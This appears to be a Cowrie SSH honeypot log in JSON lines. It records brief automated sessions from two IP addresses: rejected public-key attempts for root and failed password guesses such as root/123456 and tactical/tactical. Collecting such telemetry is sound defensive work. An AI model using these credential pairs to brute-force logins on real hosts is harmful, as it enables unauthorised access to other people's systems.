{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:ef:a9:b6:1e:62:d1:9a:de:b0:82:62:8e:5b:bf:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWTR6vDQ8LIThTD/YebEdkDcu2v7ior6FOGcDVpNWDY6nNlnlaAiDi6RkjiztN3ZfQU2+lPHO2f0oUMXZ5JZ0YeAZrKK3lc8if1BdVp+68tPRk4lSgl8pEJkjLa/MJxTIyfMenH/N7Z7nyMFonQ5B8qAOJJL+OL/jJoeV1LamBjAxK9SFmalhqx8zITtzFxFH8L7dlM7JRJufHoY4srrs1baiac3dsEEJj1q36eDPc7yGnUqqx3MjGwkwPthF3wbAJY7jOQLU6kQ5Kd9mGJ4fm8jgGIDkL1Q/xkygALms+A+KrkRBBdt7iTNuDhVaVYj1qymnn6f78hEtJc11xNCox","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:ef:a9:b6:1e:62:d1:9a:de:b0:82:62:8e:5b:bf:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.931952Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:ef:a9:b6:1e:62:d1:9a:de:b0:82:62:8e:5b:bf:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWTR6vDQ8LIThTD/YebEdkDcu2v7ior6FOGcDVpNWDY6nNlnlaAiDi6RkjiztN3ZfQU2+lPHO2f0oUMXZ5JZ0YeAZrKK3lc8if1BdVp+68tPRk4lSgl8pEJkjLa/MJxTIyfMenH/N7Z7nyMFonQ5B8qAOJJL+OL/jJoeV1LamBjAxK9SFmalhqx8zITtzFxFH8L7dlM7JRJufHoY4srrs1baiac3dsEEJj1q36eDPc7yGnUqqx3MjGwkwPthF3wbAJY7jOQLU6kQ5Kd9mGJ4fm8jgGIDkL1Q/xkygALms+A+KrkRBBdt7iTNuDhVaVYj1qymnn6f78hEtJc11xNCox","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.935113Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:d7:01:a1:a1:62:2b:8e:b1:d7:d4:d6:e3:f1:cb:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XB/tIvAZvLXbkqPqDdkJjjL806I2gDFlnyQ3w63Oc72iudjOifi9mcjoTP5SfqGQJ8YEAOK4TJVFXNQ8e0muv/XS1Ni6ZwsNb0B4+AcQy2xWE2hyXJqeAx6Cm2znLTwWGOoDzgI3RzxGn5xfQbRyV1iMyKtC6bt5i6GM8LCovcytS3ViEMOP+fj/bnXZgIIqk3tYPPBkgf9b6wQcxLX+/5HCtwqHmyzjPokNPAEmduZHNSBuoPSQk2GcBBD7IU1TMgyzYKaEfqE2bRyErdVqFiJ66Y1U+8XBo+7kRUWR8B+rFZR7djRB3iSMK9pdwHQT/Q0+PKfd5xd1UFB/6sd5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:d7:01:a1:a1:62:2b:8e:b1:d7:d4:d6:e3:f1:cb:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.941618Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:d7:01:a1:a1:62:2b:8e:b1:d7:d4:d6:e3:f1:cb:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XB/tIvAZvLXbkqPqDdkJjjL806I2gDFlnyQ3w63Oc72iudjOifi9mcjoTP5SfqGQJ8YEAOK4TJVFXNQ8e0muv/XS1Ni6ZwsNb0B4+AcQy2xWE2hyXJqeAx6Cm2znLTwWGOoDzgI3RzxGn5xfQbRyV1iMyKtC6bt5i6GM8LCovcytS3ViEMOP+fj/bnXZgIIqk3tYPPBkgf9b6wQcxLX+/5HCtwqHmyzjPokNPAEmduZHNSBuoPSQk2GcBBD7IU1TMgyzYKaEfqE2bRyErdVqFiJ66Y1U+8XBo+7kRUWR8B+rFZR7djRB3iSMK9pdwHQT/Q0+PKfd5xd1UFB/6sd5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.944272Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:48:e6:de:0a:9e:a3:ed:4f:86:c3:2e:43:4a:e3:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvhpS6UBE3daxoLw5cD8wCgCMEhVfSyRKUw8JZ+YMeSM6iPnsVr0oJM5CPUz58pSDMNzinpu80l3KZLys1EkQgVzfzVajB0jvFl7YnKxgMA+a6cWeFiZLftVf0Z7YTD35U7SERYXWTismYNeuaiqqZ7cKyefYTtls8Oyc7suJB2pap/nzn1ZQUEdaXCgovQ6YKQxsDYSKM/+PJ8cHmmKVDEifAJo30rusHLaQIZes9PgbrAEUHkvj21CVZ686whVob0/iw52CElOIU7z7yvRDJWn/r7D0arGYdf/fvaQKSQbEJzPa0t8vwyIybH3lInxMZKac/MlcO+rtN73KYV3iD6+mkLc+xdLJiNhRKCOQdlu5LjlQJ0u1pwU/aUQ6DlgAM9ndZB6OGqiPArEQJRwHd7h2Zd1vbQSWSTIOEUXfM1ha709C171Zv4AQp55v6/ytP+oDu5vgToQ2RWAJMSywk8euqoDvzTRibViiYLetJDAPbVUWGCV2zb6J1mH/w3Ns=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:48:e6:de:0a:9e:a3:ed:4f:86:c3:2e:43:4a:e3:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.951788Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:48:e6:de:0a:9e:a3:ed:4f:86:c3:2e:43:4a:e3:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvhpS6UBE3daxoLw5cD8wCgCMEhVfSyRKUw8JZ+YMeSM6iPnsVr0oJM5CPUz58pSDMNzinpu80l3KZLys1EkQgVzfzVajB0jvFl7YnKxgMA+a6cWeFiZLftVf0Z7YTD35U7SERYXWTismYNeuaiqqZ7cKyefYTtls8Oyc7suJB2pap/nzn1ZQUEdaXCgovQ6YKQxsDYSKM/+PJ8cHmmKVDEifAJo30rusHLaQIZes9PgbrAEUHkvj21CVZ686whVob0/iw52CElOIU7z7yvRDJWn/r7D0arGYdf/fvaQKSQbEJzPa0t8vwyIybH3lInxMZKac/MlcO+rtN73KYV3iD6+mkLc+xdLJiNhRKCOQdlu5LjlQJ0u1pwU/aUQ6DlgAM9ndZB6OGqiPArEQJRwHd7h2Zd1vbQSWSTIOEUXfM1ha709C171Zv4AQp55v6/ytP+oDu5vgToQ2RWAJMSywk8euqoDvzTRibViiYLetJDAPbVUWGCV2zb6J1mH/w3Ns=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.954800Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:59:14:a0:17:73:43:10:8b:b6:36:34:8b:26:20:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3oiogTlruryicTgsYJ8H+m/zldUS8JfF0pA9EMqhGlZgcNkrqQj7hwKQSGBW7S/c8Lb5hASBH3X6JF3zkoipdeWeTkLKktPrFdiXUYDLv9WIffsv1KYeOS97N/6jxaJtSU7y4JB/ahYJX7tUGPg3KMjbB/jpbvoDJrGdpFI92UMo1AhbE9mE2eCTgGDA3dLDbC26GGXgzf6oHNmWSW2fEHGYkRzHeAhC4zBRJpndUpuLmf0PMXfZAx2b0w1EJq/jaO+XlmS4MZdX5wkgigZsaOdWDsJ/LtoZYI5Ots7lJb/CcfC+mw1Xwl2fREWvEINkvO9r+MhrK/D45fhN80/ud","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 25:59:14:a0:17:73:43:10:8b:b6:36:34:8b:26:20:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.963482Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:59:14:a0:17:73:43:10:8b:b6:36:34:8b:26:20:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3oiogTlruryicTgsYJ8H+m/zldUS8JfF0pA9EMqhGlZgcNkrqQj7hwKQSGBW7S/c8Lb5hASBH3X6JF3zkoipdeWeTkLKktPrFdiXUYDLv9WIffsv1KYeOS97N/6jxaJtSU7y4JB/ahYJX7tUGPg3KMjbB/jpbvoDJrGdpFI92UMo1AhbE9mE2eCTgGDA3dLDbC26GGXgzf6oHNmWSW2fEHGYkRzHeAhC4zBRJpndUpuLmf0PMXfZAx2b0w1EJq/jaO+XlmS4MZdX5wkgigZsaOdWDsJ/LtoZYI5Ots7lJb/CcfC+mw1Xwl2fREWvEINkvO9r+MhrK/D45fhN80/ud","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.967380Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:b3:72:96:d6:5c:8c:d7:fa:60:6e:3b:76:61:2d:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCix2W7G7OuFYpucXCyyXmLLIGLIo4vhYf+ijXyxOUQjBTk+QNV0yx92mK6zqKBfFvfrofaU8M44Yxt9TyBnr8W68bKGXL2ACLUh74fof85M9f0DBsCasX8qkEcWACUKaqKZohuvlPWwmnIpOkGNJWWBW2+u+H0mmKQLqzAuGQi86elhOmcPK/BHjWZQXulcnlggnsGtR/TdcooKjkpXnn2f7+l0TOU7FXufYXb6NxjE6zeh4SC5l+NAhwCB5R3vRT+jbARuOYiDdnle1IiP4EXaoyVkKfIUPd215ocuySm8g+8VCF9ryw5BypiONC5CIgvt7YjE+6E28PDPLo7uJXz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:b3:72:96:d6:5c:8c:d7:fa:60:6e:3b:76:61:2d:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.977823Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:b3:72:96:d6:5c:8c:d7:fa:60:6e:3b:76:61:2d:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCix2W7G7OuFYpucXCyyXmLLIGLIo4vhYf+ijXyxOUQjBTk+QNV0yx92mK6zqKBfFvfrofaU8M44Yxt9TyBnr8W68bKGXL2ACLUh74fof85M9f0DBsCasX8qkEcWACUKaqKZohuvlPWwmnIpOkGNJWWBW2+u+H0mmKQLqzAuGQi86elhOmcPK/BHjWZQXulcnlggnsGtR/TdcooKjkpXnn2f7+l0TOU7FXufYXb6NxjE6zeh4SC5l+NAhwCB5R3vRT+jbARuOYiDdnle1IiP4EXaoyVkKfIUPd215ocuySm8g+8VCF9ryw5BypiONC5CIgvt7YjE+6E28PDPLo7uJXz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.980060Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.990190Z","src_ip":"172.93.103.2","session":"93d07b70494c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54672,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ca57cbaae40","protocol":"ssh","message":"New connection: 192.109.200.78:54672 (10.17.0.5:22) [session: 2ca57cbaae40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:11.996974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:12.000617Z","src_ip":"192.109.200.78","session":"2ca57cbaae40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:12.080583Z","src_ip":"192.109.200.78","session":"2ca57cbaae40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:12.323014Z","src_ip":"192.109.200.78","session":"2ca57cbaae40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:13.510453Z","src_ip":"192.109.200.78","session":"2ca57cbaae40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54700,"dst_ip":"10.17.0.5","dst_port":22,"session":"723559e4f3ef","protocol":"ssh","message":"New connection: 192.109.200.78:54700 (10.17.0.5:22) [session: 723559e4f3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:15.359398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:15.363401Z","src_ip":"192.109.200.78","session":"723559e4f3ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:15.444117Z","src_ip":"192.109.200.78","session":"723559e4f3ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:15.691206Z","src_ip":"192.109.200.78","session":"723559e4f3ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:16.774680Z","src_ip":"192.109.200.78","session":"723559e4f3ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54736,"dst_ip":"10.17.0.5","dst_port":22,"session":"554869910f31","protocol":"ssh","message":"New connection: 192.109.200.78:54736 (10.17.0.5:22) [session: 554869910f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:18.933584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:18.941061Z","src_ip":"192.109.200.78","session":"554869910f31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:19.021181Z","src_ip":"192.109.200.78","session":"554869910f31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456789","message":"login attempt [fastuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:19.264745Z","src_ip":"192.109.200.78","session":"554869910f31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:20.348392Z","src_ip":"192.109.200.78","session":"554869910f31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59204,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b9a0d928f9f","protocol":"ssh","message":"New connection: 192.109.200.78:59204 (10.17.0.5:22) [session: 8b9a0d928f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:22.329764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:22.333843Z","src_ip":"192.109.200.78","session":"8b9a0d928f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:22.415356Z","src_ip":"192.109.200.78","session":"8b9a0d928f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:22.660403Z","src_ip":"192.109.200.78","session":"8b9a0d928f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:23.744737Z","src_ip":"192.109.200.78","session":"8b9a0d928f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59220,"dst_ip":"10.17.0.5","dst_port":22,"session":"50184aadc170","protocol":"ssh","message":"New connection: 192.109.200.78:59220 (10.17.0.5:22) [session: 50184aadc170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:25.661442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:25.668451Z","src_ip":"192.109.200.78","session":"50184aadc170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:43:25.750456Z","src_ip":"192.109.200.78","session":"50184aadc170","protocol":"ssh"}
